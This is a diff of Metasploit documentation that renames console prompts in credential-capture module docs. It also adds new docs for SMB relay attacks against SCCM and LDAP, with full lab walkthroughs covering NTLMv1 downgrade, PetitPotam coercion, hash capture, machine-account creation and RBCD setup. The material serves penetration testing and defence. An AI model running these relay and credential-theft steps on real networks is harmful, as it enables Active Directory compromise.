-msf5 > cat /root/metasploit-framework/selfsigned.pem +msf > cat /root/metasploit-framework/selfsigned.pem [*] exec: cat /root/metasploit-framework/selfsigned.pem -----BEGIN PRIVATE KEY----- @@ -143,16 +143,16 @@ gF+lHk+pX8GM0WvI7ypgrK956YCdmh3DULBFDu5RxVABFWrGedfNy6TKLTps0PXR l/m7Kka0n7lXnKo+IFSJ0dTooBvwaV7+4tEGuHxWJsNO+2aex9qFCuDUdBFxyWyK uBVlsY6F7EjTfWpxwyVP -----END CERTIFICATE----- -msf5 > use auxiliary/server/capture/imap -msf5 auxiliary(server/capture/imap) > set ssl true +msf > use auxiliary/server/capture/imap +msf auxiliary(server/capture/imap) > set ssl true ssl => true -msf5 auxiliary(server/capture/imap) > set sslcert /root/metasploit-framework/selfsigned.pem +msf auxiliary(server/capture/imap) > set sslcert /root/metasploit-framework/selfsigned.pem sslcert => /root/metasploit-framework/selfsigned.pem -msf5 auxiliary(server/capture/imap) > set srvport 993 +msf auxiliary(server/capture/imap) > set srvport 993 srvport => 993 -msf5 auxiliary(server/capture/imap) > run +msf auxiliary(server/capture/imap) > run [*] Auxiliary module running as background job 0. -msf5 auxiliary(server/capture/imap) > +msf auxiliary(server/capture/imap) > [*] Started service listener on 0.0.0.0:993 [*] Server started. [+] IMAP LOGIN 127.0.0.1:59024 "johndoe" / "p455w0rd" diff --git a/documentation/modules/auxiliary/server/capture/ldap.md b/documentation/modules/auxiliary/server/capture/ldap.md index 17de7a0206e34..7fb04752bd15f 100644 --- a/documentation/modules/auxiliary/server/capture/ldap.md +++ b/documentation/modules/auxiliary/server/capture/ldap.md @@ -23,8 +23,8 @@ The type of LDAP authentication to capture. The default type is `Simple` ### Metasploit Server ``` -msf6 > use auxiliary/server/capture/ldap -msf6 auxiliary(server/capture/ldap) > run +msf > use auxiliary/server/capture/ldap +msf auxiliary(server/capture/ldap) > run [*] Server started. [+] LDAP Login attempt => From:10.0.2.15:48198 Username:User Password:Pass @@ -42,11 +42,11 @@ ldap_bind: Auth Method Not Supported (7) **Database** ``` -msf6 auxiliary(server/capture/ldap) > creds +msf auxiliary(server/capture/ldap) > creds Credentials =========== host origin service public private realm private_type JtR Format ---- ------ ------- ------ ------- ----- ------------ ---------- 10.0.2.15 10.0.2.15 389/tcp (ldap) User Pass example.com Password -``` \ No newline at end of file +``` diff --git a/documentation/modules/auxiliary/server/capture/mysql.md b/documentation/modules/auxiliary/server/capture/mysql.md index 2ccf3e942fb2e..698cedbc6b47d 100644 --- a/documentation/modules/auxiliary/server/capture/mysql.md +++ b/documentation/modules/auxiliary/server/capture/mysql.md @@ -40,12 +40,12 @@ This module creates a mock MySQL server which accepts credentials. Upon receivi Server: ``` -msf5 > use auxiliary/server/capture/mysql -msf5 auxiliary(server/capture/mysql) > set johnpwfile /tmp/mysql.logins +msf > use auxiliary/server/capture/mysql +msf auxiliary(server/capture/mysql) > set johnpwfile /tmp/mysql.logins johnpwfile => /tmp/mysql.logins -msf5 auxiliary(server/capture/mysql) > run +msf auxiliary(server/capture/mysql) > run [*] Auxiliary module running as background job 0. -msf5 auxiliary(server/capture/mysql) > +msf auxiliary(server/capture/mysql) > [*] Started service listener on 0.0.0.0:3306 [*] Server started. [+] 127.0.0.1:59604 - User: admin; Challenge: 112233445566778899aabbccddeeff1122334455; Response: 46677c2d9cac93da328c4321060c125db759925e diff --git a/documentation/modules/auxiliary/server/capture/postgresql.md b/documentation/modules/auxiliary/server/capture/postgresql.md index 17537e62eb970..7b006ee5c927e 100644 --- a/documentation/modules/auxiliary/server/capture/postgresql.md +++ b/documentation/modules/auxiliary/server/capture/postgresql.md @@ -25,8 +25,8 @@ This module creates a mock PostgreSQL server which accepts credentials. Upon re Server: ``` -msf5 > use auxiliary/server/capture/postgresql -msf5 auxiliary(server/capture/postgresql) > run +msf > use auxiliary/server/capture/postgresql +msf auxiliary(server/capture/postgresql) > run [*] Auxiliary module running as background job 0. [*] Started service listener on 0.0.0.0:5432 diff --git a/documentation/modules/auxiliary/server/capture/printjob_capture.md b/documentation/modules/auxiliary/server/capture/printjob_capture.md index 78623d6449781..bbf61b00cc9da 100644 --- a/documentation/modules/auxiliary/server/capture/printjob_capture.md +++ b/documentation/modules/auxiliary/server/capture/printjob_capture.md @@ -37,20 +37,20 @@ This module creates a mock print server which accepts print jobs. Server: ``` -msf5 > use auxiliary/server/capture/printjob_capture -msf5 auxiliary(server/capture/printjob_capture) > run +msf > use auxiliary/server/capture/printjob_capture +msf auxiliary(server/capture/printjob_capture) > run [*] Auxiliary module running as background job 0. [*] Starting Print Server on 0.0.0.0:9100 - RAW mode [*] Started service listener on 0.0.0.0:9100 [*] Server started. -msf5 auxiliary(server/capture/printjob_capture) > [*] Printjob Capture Service: Client connection from 127.0.0.1:44678 +msf auxiliary(server/capture/printjob_capture) > [*] Printjob Capture Service: Client connection from 127.0.0.1:44678 [*] Printjob Capture Service: Client 127.0.0.1:44678 closed connection after 249 bytes of data [-] Unable to detect printjob type, dumping complete output [+] Incoming printjob - Unnamed saved to loot [+] Loot filename: /root/.msf4/loot/20181117205902_default_127.0.0.1_prn_snarf.unknow_003464.bin -msf5 auxiliary(server/capture/printjob_capture) > cat /root/.msf4/loot/20181117205902_default_127.0.0.1_prn_snarf.unknow_003464.bin +msf auxiliary(server/capture/printjob_capture) > cat /root/.msf4/loot/20181117205902_default_127.0.0.1_prn_snarf.unknow_003464.bin [*] exec: cat /root/.msf4/loot/20181117205902_default_127.0.0.1_prn_snarf.unknow_003464.bin PRETTY_NAME="Kali GNU/Linux Rolling" diff --git a/documentation/modules/auxiliary/server/capture/smb.md b/documentation/modules/auxiliary/server/capture/smb.md index a71f5f3023744..dd09841d9ed28 100644 --- a/documentation/modules/auxiliary/server/capture/smb.md +++ b/documentation/modules/auxiliary/server/capture/smb.md @@ -51,10 +51,10 @@ Kali 2021.1 with `smbclient 4.13.5` installed. Server: ``` -msf6 exploit(multi/handler) > use auxiliary/server/capture/smb -msf6 auxiliary(server/capture/smb) > set JOHNPWFILE /tmp/john +msf exploit(multi/handler) > use auxiliary/server/capture/smb +msf auxiliary(server/capture/smb) > set JOHNPWFILE /tmp/john JOHNPWFILE => /tmp/john -msf6 auxiliary(server/capture/smb) > run +msf auxiliary(server/capture/smb) > run [*] Auxiliary module running as background job 1. [+] Server is running. Listening on 0.0.0.0:445 @@ -103,15 +103,15 @@ meterpreter > hashdump [-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect. meterpreter > background [*] Backgrounding session 1... -msf6 exploit(multi/handler) > use auxiliary/server/capture/smb -msf6 auxiliary(server/capture/smb) > set JOPHNPWFILE /tmp/john +msf exploit(multi/handler) > use auxiliary/server/capture/smb +msf auxiliary(server/capture/smb) > set JOPHNPWFILE /tmp/john JOHNPWFILE => /tmp/john -msf6 auxiliary(server/capture/smb) > run +msf auxiliary(server/capture/smb) > run [*] Auxiliary module running as background job 1. [+] Server is running. Listening on 0.0.0.0:445 -msf6 auxiliary(server/capture/smb) > sessions -i 1 +msf auxiliary(server/capture/smb) > sessions -i 1 [*] Starting interaction with 1... meterpreter > shell @@ -181,10 +181,10 @@ service apache2 start Server: ``` -msf6 > use auxiliary/server/capture/smb -msf6 auxiliary(server/capture/smb) > set JOHNPWFILE /tmp/john +msf > use auxiliary/server/capture/smb +msf auxiliary(server/capture/smb) > set JOHNPWFILE /tmp/john JOHNPWFILE => /tmp/john -msf6 auxiliary(server/capture/smb) > run +msf auxiliary(server/capture/smb) > run [*] Auxiliary module running as background job 1. [+] Server is running. Listening on 0.0.0.0:445 @@ -227,21 +227,21 @@ This is based on [hackingarticles.in](https://www.hackingarticles.in/4-ways-capt Server side: ``` -msf6 > use auxiliary/server/capture/smb -msf6 auxiliary(server/capture/smb) > set JOHNPWFILE /tmp/johnnbns +msf > use auxiliary/server/capture/smb +msf auxiliary(server/capture/smb) > set JOHNPWFILE /tmp/johnnbns JOHNPWFILE => /tmp/johnnbns -msf6 auxiliary(server/capture/smb) > run +msf auxiliary(server/capture/smb) > run [*] Auxiliary module running as background job 0. [+] Server is running. Listening on 0.0.0.0:445 -msf6 auxiliary(server/capture/smb) > use auxiliary/spoof/nbns/nbns_response -msf6 auxiliary(spoof/nbns/nbns_response) > set spoofip 192.168.89.1 +msf auxiliary(server/capture/smb) > use auxiliary/spoof/nbns/nbns_response +msf auxiliary(spoof/nbns/nbns_response) > set spoofip 192.168.89.1 spoofip => 192.168.89.1 -msf6 auxiliary(spoof/nbns/nbns_response) > set interface eth0 +msf auxiliary(spoof/nbns/nbns_response) > set interface eth0 interface => eth0 -msf6 auxiliary(spoof/nbns/nbns_response) > exploit +msf auxiliary(spoof/nbns/nbns_response) > exploit [*] Auxiliary module running as background job 1. -msf6 auxiliary(spoof/nbns/nbns_response) > +msf auxiliary(spoof/nbns/nbns_response) > [*] NBNS Spoofer started. Listening for NBNS requests with REGEX ".*" ... [+] 192.168.89.135 nbns - FAKE matches regex, responding with 192.168.89.1 [+] 192.168.89.135 nbns - FAKE matches regex, responding with 192.168.89.1 diff --git a/documentation/modules/auxiliary/server/capture/smtp.md b/documentation/modules/auxiliary/server/capture/smtp.md index 2a606bd043a85..bba2de74554d7 100644 --- a/documentation/modules/auxiliary/server/capture/smtp.md +++ b/documentation/modules/auxiliary/server/capture/smtp.md @@ -155,7 +155,7 @@ Testing: RSET during middle of DATA RSET [*] SMTP: 127.0.0.1:46222 EMAIL: testing a message which gets cancelled Response: 250 OK -msf5 auxiliary(server/capture/smtp) > creds +msf auxiliary(server/capture/smtp) > creds Credentials =========== @@ -165,7 +165,7 @@ host origin service public private 127.0.0.1 127.0.0.1 25/tcp (smtp) username_login password_login Password 127.0.0.1 127.0.0.1 25/tcp (smtp) username_plain password_plain Password -msf5 auxiliary(server/capture/smtp) > notes +msf auxiliary(server/capture/smtp) > notes Notes ===== diff --git a/documentation/modules/auxiliary/server/capture/telnet.md b/documentation/modules/auxiliary/server/capture/telnet.md index ef4836b7f8e28..a0cdf5e448643 100644 --- a/documentation/modules/auxiliary/server/capture/telnet.md +++ b/documentation/modules/auxiliary/server/capture/telnet.md @@ -28,10 +28,10 @@ This module creates a mock telnet server which accepts credentials. Upon receiv Server: ``` -msf5 > use auxiliary/server/capture/telnet -msf5 auxiliary(server/capture/telnet) > run +msf > use auxiliary/server/capture/telnet +msf auxiliary(server/capture/telnet) > run [*] Auxiliary module running as background job 0. -msf5 auxiliary(server/capture/telnet) > +msf auxiliary(server/capture/telnet) > [*] Started service listener on 0.0.0.0:23 [*] Server started. [+] TELNET LOGIN 127.0.0.1:40016 root / <3@wvu_is_my_hero diff --git a/documentation/modules/auxiliary/server/capture/vnc.md b/documentation/modules/auxiliary/server/capture/vnc.md index 7f74ef4eb8fd5..4f5a7bbb63dd8 100644 --- a/documentation/modules/auxiliary/server/capture/vnc.md +++ b/documentation/modules/auxiliary/server/capture/vnc.md @@ -32,17 +32,17 @@ This module creates a mock VNC server which accepts credentials. Upon receiving Server, Client: ``` -msf5 > use auxiliary/server/capture/vnc -msf5 auxiliary(server/capture/vnc) > use auxiliary/server/capture/vnc -msf5 auxiliary(server/capture/vnc) > set johnpwfile /tmp/john +msf > use auxiliary/server/capture/vnc +msf auxiliary(server/capture/vnc) > use auxiliary/server/capture/vnc +msf auxiliary(server/capture/vnc) > set johnpwfile /tmp/john johnpwfile => /tmp/john -msf5 auxiliary(server/capture/vnc) > run +msf auxiliary(server/capture/vnc) > run [*] Auxiliary module running as background job 0. -msf5 auxiliary(server/capture/vnc) > +msf auxiliary(server/capture/vnc) > [*] Started service listener on 0.0.0.0:5900 [*] Server started. -msf5 auxiliary(server/capture/vnc) > vncviewer 127.0.0.1 +msf auxiliary(server/capture/vnc) > vncviewer 127.0.0.1 [*] exec: vncviewer 127.0.0.1 Connected to RFB server, using protocol version 3.7 @@ -56,7 +56,7 @@ Authentication failure John the Ripper (JTR) Cracker: ``` -msf5 auxiliary(server/capture/vnc) > john /tmp/john_vnc +msf auxiliary(server/capture/vnc) > john /tmp/john_vnc [*] exec: john /tmp/john_vnc Using default input encoding: UTF-8 diff --git a/documentation/modules/auxiliary/server/ldap.md b/documentation/modules/auxiliary/server/ldap.md index 0b6be1896d7ab..d568faef06259 100644 --- a/documentation/modules/auxiliary/server/ldap.md +++ b/documentation/modules/auxiliary/server/ldap.md @@ -24,10 +24,10 @@ Directory LDIF file path. ### Metasploit Server Demonstration ``` -msf6 > use auxiliary/server/ldap -msf6 auxiliary(server/ldap) > set LDIF_FILE data/exploits/ldap/msf.ldif +msf > use auxiliary/server/ldap +msf auxiliary(server/ldap) > set LDIF_FILE data/exploits/ldap/msf.ldif LDIF_FILE => data/exploits/ldap/msf.ldif -msf6 auxiliary(server/ldap) > show options +msf auxiliary(server/ldap) > show options Module options (auxiliary/server/ldap): @@ -45,9 +45,9 @@ Auxiliary action: Service Run LDAP server -msf6 auxiliary(server/ldap) > run +msf auxiliary(server/ldap) > run [*] Auxiliary module running as background job 0. -msf6 auxiliary(server/ldap) > +msf auxiliary(server/ldap) > ``` diff --git a/documentation/modules/auxiliary/server/relay/esc8.md b/documentation/modules/auxiliary/server/relay/esc8.md index 616fa1793692f..71fdc0a77cd82 100644 --- a/documentation/modules/auxiliary/server/relay/esc8.md +++ b/documentation/modules/auxiliary/server/relay/esc8.md @@ -10,7 +10,7 @@ on a given template. * See https://docs.metasploit.com/docs/pentesting/active-directory/ad-certificates/overview.html#setting-up-a-esc8-vulnerable-host 2. Start `msfconsole` 2. Do: `use auxiliary/server/relay/esc8` -3. Set the `RELAY_TARGETS` option to the AD CS Web Enrollment server +3. Set the `RHOSTS` option to the AD CS Web Enrollment server 4. Run the module and wait for a request to be relayed ## Options @@ -36,9 +36,9 @@ The template to issue if MODE is SPECIFIC_TEMPLATE. ### Version and OS ``` -msf6 auxiliary(server/relay/esc8) > run +msf auxiliary(server/relay/esc8) > run [*] Auxiliary module running as background job 1. -msf6 auxiliary(server/relay/esc8) > +msf auxiliary(server/relay/esc8) > [*] SMB Server is running. Listening on 0.0.0.0:445 [*] Server started. [*] New request from 192.168.159.129 diff --git a/documentation/modules/auxiliary/server/relay/relay_get_naa_credentials.md b/documentation/modules/auxiliary/server/relay/relay_get_naa_credentials.md new file mode 100644 index 0000000000000..0f1ef7d40e79c --- /dev/null +++ b/documentation/modules/auxiliary/server/relay/relay_get_naa_credentials.md @@ -0,0 +1,149 @@ +## Description +This module creates an SMB server and then relays the credentials passed to it to SCCM's HTTP server (aka Management Point) +to gain an authenticated connection. Once authenticated it then attempts to retrieve the Network Access Account(s), +if configured, from the SCCM server. This requires a computer account, which can be added using the samr_account module. + +This module is essentially the `get_naa_credential` module with relaying capability. + +The NAA account is used by some SCCM configurations in the policy deployment process. It does not require many privileges, but +in practice is often misconfigured to have excessive privileges. + +The account can be retrieved in various ways, many requiring local administrative privileges on an existing host. However, +it can also be requested by an existing computer account, which by default most user accounts are able to create. + + +## Vulnerable Application +This module can be tested using the GOAD environment. Setup instructions can be found here: +https://github.com/Orange-Cyberdefense/GOAD + +## Module usage +The `admin/dcerpc/samr_computer` module is generally used to first create a computer account, which requires no permissions: + +1. From msfconsole +1. Do: `use auxiliary/admin/dcerpc/samr_account` +1. Set the `RHOSTS`, `SMBUser` and `SMBPass` options + a. For the `ADD_COMPUTER` action, if you don't specify `ACCOUNT_NAME` or `ACCOUNT_PASSWORD` - one will be generated automatically + b. For the `DELETE_ACCOUNT` action, set the `ACCOUNT_NAME` option + c. For the `LOOKUP_ACCOUNT` action, set the `ACCOUNT_NAME` option +1. Run the module and see that a new machine account was added + +Then use `ldap_query` to determine the `MANAGEMENT_POINT` and `SITE_CODE` values. + +1. Do: `use gather/ldap_query` +1. Set: `DOMAIN` `RHOSTS` `USERNAME` `PASSWORD` `ACTION=RUN_SINGLE_QUERY` `QUERY_FILTER=(objectclass=mssmsmanagementpoint)` and `QUERY_ATTRIBUTES=cn,dnshostname,mssmssitecode` +1. Run the module and note the `dnshostname` and `mssmssitecode` values + + +Then the `auxiliary/server/relay/relay_get_naa_credentials` module can be used: + +1. `use server/relay/relay_get_naa_credentials` +1. Set the `MANAGEMENT_POINT`, `SITE_CODE` +1. Run the module to obtain the NAA credentials, if present. + +The management point and site code can be retrieved using the `auxiliary/gather/ldap_query` module, using the `ENUM_SCCM_MANAGEMENT_POINTS` action. + +See the Scenarios for a more detailed walk through + +## Options + +### RHOST, USERNAME, PASSWORD, DOMAIN, SESSION, RHOST +Options used to authenticate to the Domain Controller's LDAP service for SCCM autodiscovery. + +### MANAGEMENT_POINT +The SCCM server. + +### SITE_CODE +The Site Code of the management point. + +### TIMEOUT +The number of seconds to wait for SCCM DB to update + +## Scenarios +In the following example the user `ssccm.lab\eve` is a low-privilege user. + +### Creating computer account + +``` +msf auxiliary(admin/dcerpc/samr_account) > run rhost=192.168.33.10 domain=sccm.lab username=eve password=iloveyou +[*] Running module against 192.168.33.10 + +[*] 192.168.33.10:445 - Adding computer +[+] 192.168.33.10:445 - Successfully created sccm.lab\DESKTOP-5FJM1832$ +[+] 192.168.33.10:445 - Password: JpnYZ43YHqmoOLj9xBKdI9tVFgDXtfsu +[+] 192.168.33.10:445 - SID: S-1-5-21-3875312677-2561575051-1173664991-1128 +[*] Auxiliary module execution completed +``` + +### Manual discovery of SITE_CODE and MANAGEMENT_POINT using domain credentials + +``` +msf auxiliary(gather/ldap_query) > run domain=sccm.lab rhosts=192.168.56.10 username=eve password=iloveyou action=RUN_SINGLE_QUERY QUERY_FILTER=(objectclass=mssmsmanagementpoint) QUERY_ATTRIBUTES=cn,dnshostname,mssmssitecode +[*] Running module against 192.168.56.10 +[*] 192.168.56.10:389 Discovered base DN: DC=sccm,DC=lab +[*] Sending single query (objectclass=mssmsmanagementpoint) to the LDAP server... +CN=SMS-MP-P01-MECM.SCCM.LAB,CN=System Management,CN=System,DC=sccm,DC=lab +========================================================================= + + Name Attributes + ---- ---------- + cn SMS-MP-P01-MECM.SCCM.LAB + dnshostname MECM.sccm.lab + mssmssitecode P01 + +[*] Query returned 1 result. +[*] Auxiliary module execution completed +``` + +### Initiating SMB authentication from a Windows Host +Currently the SMB auth attempt must originate from a Windows Host, see: https://github.com/rapid7/metasploit-framework/issues/19951 +``` +net use \\192.168.56.1\foo /u:SCCM.LAB\DESKTOP-5FJM1832$ JpnYZ43YHqmoOLj9xBKdI9tVFgDXtfsu +``` + +### Running the module +``` +msf exploit(windows/local/cve_2024_35250_ks_driver) > msf exploit(windows/local/cve_2024_35250_ks_driver) > use relay_get + +Matching Modules +================ + + # Name Disclosure Date Rank Check Description + - ---- --------------- ---- ----- ----------- + 0 auxiliary/server/relay/relay_get_naa_credentials . normal Yes SMB to HTTP relay version of Get NAA Creds + + +Interact with a module by name or index. For example info 0, use 0 or use auxiliary/server/relay/relay_get_naa_credentials + +[*] Using auxiliary/server/relay/relay_get_naa_credentials +[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST +msf auxiliary(server/relay/relay_get_naa_credentials) > dns add-static mecm.sccm.lab 192.168.56.11 +[*] Added static hostname mapping mecm.sccm.lab to 192.168.56.11 +msf auxiliary(server/relay/relay_get_naa_credentials) > run rhost=192.168.56.11 smbdomain=sccm.lab MANAGEMENT_POINT=MECM.sccm.lab SITE_CODE=P01 +[*] Auxiliary module running as background job 0. + +[*] Checking endpoint on http://192.168.56.11:80/ccm_system_windowsauth/request +msf auxiliary(server/relay/relay_get_naa_credentials) > [*] SMB Server is running. Listening on 0.0.0.0:445 +[*] Server started. +[*] New request from 192.168.56.1 +[*] Received request for SCCM.LAB\DESKTOP-5FJM1832$ +[*] Relaying to next target http://192.168.56.11:80/ccm_system_windowsauth/request +[+] Identity: SCCM.LAB\DESKTOP-5FJM1832$ - Successfully authenticated against relay target http://192.168.56.11:80/ccm_system_windowsauth/request +[SMB] NTLMv2-SSP Client : 192.168.56.11 +[SMB] NTLMv2-SSP Username : SCCM.LAB\DESKTOP-5FJM1832$ +[SMB] NTLMv2-SSP Hash : DESKTOP-5FJM1832$::SCCM.LAB:42465e4768dcb113:c5248825d2326b730a23ff5986cc36d8:0101000000000000662037ebd78edb01344978b20c2f7baa0000000002000e005300430043004d004c0041004200010008004d00450043004d00040010007300630063006d002e006c006100620003001a004d00450043004d002e007300630063006d002e006c0061006200050010007300630063006d002e006c006100620007000800662037ebd78edb01060004000200000008003000300000000000000001000000002000002cd075c2fac7f6ea5a6a290f03ae2e6476afc69a4e85c3e91bab8a5ac0d7603e0a001000000000000000000000000000000000000900220063006900660073002f003100390032002e003100360038002e00350036002e0031000000000000000000 + +[+] This your capitan speaking we've reached the on_relay_success method :) +[*] Got SMS ID: D61057A2-0B02-40B3-9ADC-F349BA5EC8C2 +[*] Waiting 10 seconds for SCCM DB to update... +[*] Found policy containing secrets: http:///SMS_MP/.sms_pol?{e98163c7-7b3a-4c3d-bb69-2b398c492290}.2_00 +[+] Found valid NAA credentials: sccm.lab\sccm-naa:123456789 +[*] Received request for SCCM.LAB\DESKTOP-5FJM1832$ +[*] Identity: SCCM.LAB\DESKTOP-5FJM1832$ - All targets relayed to +[*] New request from 192.168.56.1 +[*] Received request for SCCM.LAB\DESKTOP-5FJM1832$ +[*] Identity: SCCM.LAB\DESKTOP-5FJM1832$ - All targets relayed to +[*] Received request for SCCM.LAB\DESKTOP-5FJM1832$ +[*] Identity: SCCM.LAB\DESKTOP-5FJM1832$ - All targets relayed to +[*] Received request for SCCM.LAB\DESKTOP-5FJM1832$ +[*] Identity: SCCM.LAB\DESKTOP-5FJM1832$ - All targets relayed to +``` diff --git a/documentation/modules/auxiliary/server/relay/smb_to_ldap.md b/documentation/modules/auxiliary/server/relay/smb_to_ldap.md new file mode 100644 index 0000000000000..f07593ffc10ca --- /dev/null +++ b/documentation/modules/auxiliary/server/relay/smb_to_ldap.md @@ -0,0 +1,314 @@ +## Vulnerable Application + +This module supports running an SMB server which validates credentials, and +then attempts to execute a relay attack against an LDAP server on the +configured RHOSTS hosts. + +It is not possible to relay NTLMv2 to LDAP due to the Message Integrity Check +(MIC). As a result, this will only work with NTLMv1. The module takes care of +removing the relevant flags to bypass signing. + +If the relay succeeds, an LDAP session to the target will be created. This can +be used by any modules that support LDAP sessions, like `admin/ldap/rbcd` or +`auxiliary/gather/ldap_query`. + +Supports SMBv2, SMBv3, and captures NTLMv1 as well as NTLMv2 hashes. +SMBv1 is not supported - please see https://github.com/rapid7/metasploit-framework/issues/16261 + + +## Verification Steps + +### Lab setup +You will need a Domain Controller and a Domain-joined host: + +Domain Computer <-> Metasploit framework <-> Domain Controller + +Where: + +- Domain name: NEWLAB.local +- VICTIM (Domain Computer) = 192.168.232.111 +- msfconsole = 192.168.232.3 +- DC01 (Domain Controller) = 192.168.232.110 + +```mermaid +flowchart LR + A("VICTIM (Domain Computer) - 192.168.232.111") + subgraph metasploit[" msfconsole - 192.168.232.3 "] + subgraph inside [ ] + direction TB + style inside margin-top: 0 + style inside stroke: none + + B("smb_to_ldap") + database[(Database)] + + B -->|"report_ntlm_type3(...)"| database + end + end + C("DC01 (Domain Controller) - 192.168.232.110") + + A <-->|SMB 445| metasploit + metasploit <-->|"ldap session (TCP/389)"| C +``` + +The Domain Computer will need to be configured to use NTLMv1 by setting the +following registry key to a value less or equal to 2: + +``` +PS > reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa -v LmCompatibilityLevel /t REG_DWORD /d 0x2 /f +``` + +``` +PS > reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa -v LmCompatibilityLevel + +HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa + LmCompatibilityLevel REG_DWORD 0x2 +``` + +Finally run the relay server on msfconsole, setting the `RHOSTS` option +to the Domain Controller IP address. + +``` +run verbose=true RHOSTS=192.168.232.110 +``` + +You will have to coerce the Domain Computer and force it to authenticate to the +msfconsole server (see an example below). + + +## Options + +### RHOSTS + +Target address range or CIDR identifier to relay to. + +### CAINPWFILE + +A file to store Cain & Abel formatted captured hashes in. Only supports NTLMv1 Hashes. + +### JOHNPWFILE + +A file to store John the Ripper formatted hashes in. NTLMv1 and NTLMv2 hashes +will be stored in separate files. +I.E. the filename john will produce two files, `john_netntlm` and `john_netntlmv2`. + +### RELAY_TIMEOUT + +Seconds that the relay socket will wait for a response after the client has +initiated communication (default 25 sec.). + +### SMBDomain + +The domain name used during SMB exchange. + + +## Scenarios + +### Start the relay server +``` +msf > use auxiliary/server/relay/smb_to_ldap +msf auxiliary(server/relay/smb_to_ldap) > run verbose=true RHOSTS=192.168.232.110 +[*] Auxiliary module running as background job 0. +msf auxiliary(server/relay/smb_to_ldap) > +[*] SMB Server is running. Listening on 0.0.0.0:445 +[*] Server started. + +msf auxiliary(server/relay/smb_to_ldap) > _servicemanager +Services +======== + + Id Name References + -- ---- ---------- + 0 Msf::Exploit::Remote::SMB::RelayServer::SMBRelayServer0.0.0.0445 2 + 1 SMB Relay Server 2 +``` + +### Net use example +A simple test would be using the Windows `net use` command: + +``` +net use \\192.168.232.3\foo /u:Administrator 123456 +``` + +msfconsole output: + +``` +[*] New request from 192.168.232.111 +[*] Received request for \Administrator +[*] Relaying to next target ldap://192.168.232.110:389 +[+] Identity: \Administrator - Successfully authenticated against relay target ldap://192.168.232.110:389 +[+] Relay succeeded +[*] LDAP session 1 opened (192.168.232.3:45007 -> 192.168.232.110:389) at 2025-01-23 20:39:45 +0100 +[*] Received request for \Administrator +[*] Identity: \Administrator - All targets relayed to +[*] New request from 192.168.232.111 +[*] Received request for NEWLAB\Administrator +[*] Relaying to next target ldap://192.168.232.110:389 +[+] Identity: NEWLAB\Administrator - Successfully authenticated against relay target ldap://192.168.232.110:389 +[+] Relay succeeded +[*] LDAP session 2 opened (192.168.232.3:43845 -> 192.168.232.110:389) at 2025-01-23 20:39:46 +0100 +[*] Received request for NEWLAB\Administrator +[*] Identity: NEWLAB\Administrator - All targets relayed to + +msf auxiliary(server/relay/smb_to_ldap) > sessions + +Active sessions +=============== + + Id Name Type Information Connection + -- ---- ---- ----------- ---------- + 1 ldap LDAP Administrator @ 192.168.232.110:389 192.168.232.3:45007 -> 192.168.232.110:389 (192.168.232.110) + 2 ldap LDAP Administrator @ 192.168.232.110:389 192.168.232.3:43845 -> 192.168.232.110:389 (192.168.232.110) +``` + +### PetitPotam example + +Coerce authentication using a non-privileged Domain User account with PetitPotam: + +``` +msf auxiliary(scanner/dcerpc/petitpotam) > run verbose=true rhosts=192.168.232.111 listener=192.168.232.3 SMBUser=msfuser SMBPass=123456 SMBDomain=newlab.local +[*] 192.168.232.111:445 - Binding to c681d488-d850-11d0-8c52-00c04fd90f7e:1.0@ncacn_np:192.168.232.111[\lsarpc] ... +[*] 192.168.232.111:445 - Bound to c681d488-d850-11d0-8c52-00c04fd90f7e:1.0@ncacn_np:192.168.232.111[\lsarpc] ... +[*] 192.168.232.111:445 - Attempting to coerce authentication via EfsRpcOpenFileRaw +[*] 192.168.232.111:445 - Server responded with ERROR_ACCESS_DENIED (Access is denied.) +[*] 192.168.232.111:445 - Attempting to coerce authentication via EfsRpcEncryptFileSrv + +[*] New request from 192.168.232.111 +[*] Received request for NEWLAB\VICTIM$ +[*] Relaying to next target ldap://192.168.232.110:389 +[+] Identity: NEWLAB\VICTIM$ - Successfully authenticated against relay target ldap://192.168.232.110:389 +[*] Skipping previously captured hash for NEWLAB\VICTIM$ +[+] Relay succeeded +[*] LDAP session 1 opened (192.168.232.3:46691 -> 192.168.232.110:389) at 2025-01-23 19:19:18 +0100 +[*] Received request for NEWLAB\VICTIM$ +[*] Identity: NEWLAB\VICTIM$ - All targets relayed to + +[+] 192.168.232.111:445 - Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful +[*] 192.168.232.111:445 - Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed + +msf auxiliary(scanner/dcerpc/petitpotam) > sessions + +Active sessions +=============== + + Id Name Type Information Connection + -- ---- ---- ----------- ---------- + 1 ldap LDAP VICTIM$ @ 192.168.232.110:389 192.168.232.3:46691 -> 192.168.232.110:389 (192.168.232.110) + +msf auxiliary(scanner/dcerpc/petitpotam) > sessions -i 1 +[*] Starting interaction with 1... + +LDAP (192.168.232.110) > query -f (sAMAccountName=VICTIM$) +CN=VICTIM,CN=Computers,DC=newlab,DC=local +=============================================== + + Name Attributes + ---- ---------- + accountexpires 9223372036854775807 + badpasswordtime 133820110912034399 + badpwdcount 0 + cn VICTIM + ... + +LDAP (192.168.232.110) > +Background session 1? [y/N] +``` + +### Exploit Resource-based Constrained Delegation (RBCD) + +For details about RCBD, see https://docs.metasploit.com/docs/pentesting/active-directory/kerberos/rbcd.html#rbcd-exploitation + +- Create a computer account with the `admin/dcerpc/samr_account` module and the same Domain User account + +``` +msf auxiliary(admin/dcerpc/samr_account) > run verbose=true rhost=192.168.232.110 SMBUser=msfuser SMBPASS=123456 SMBDomain=newlab.local action=ADD_COMPUTER ACCOUNT_NAME=FAKE01$ ACCOUNT_PASSWORD=123456 +[*] Running module against 192.168.232.110 +[*] 192.168.232.110:445 - Adding computer +[*] 192.168.232.110:445 - Connecting to Security Account Manager (SAM) Remote Protocol +[*] 192.168.232.110:445 - Binding to \samr... +[+] 192.168.232.110:445 - Bound to \samr +[+] 192.168.232.110:445 - Successfully created newlab.local\FAKE01$ +[+] 192.168.232.110:445 - Password: 123456 +[+] 192.168.232.110:445 - SID: S-1-5-21-3065298949-3337206023-618530601-1618 +[*] Auxiliary module execution completed +``` + +- Setup RBCD with the `admin/ldap/rbcd` module using the LDAP session + +``` +msf auxiliary(admin/ldap/rbcd) > run verbose=true rhost=192.168.232.110 session=1 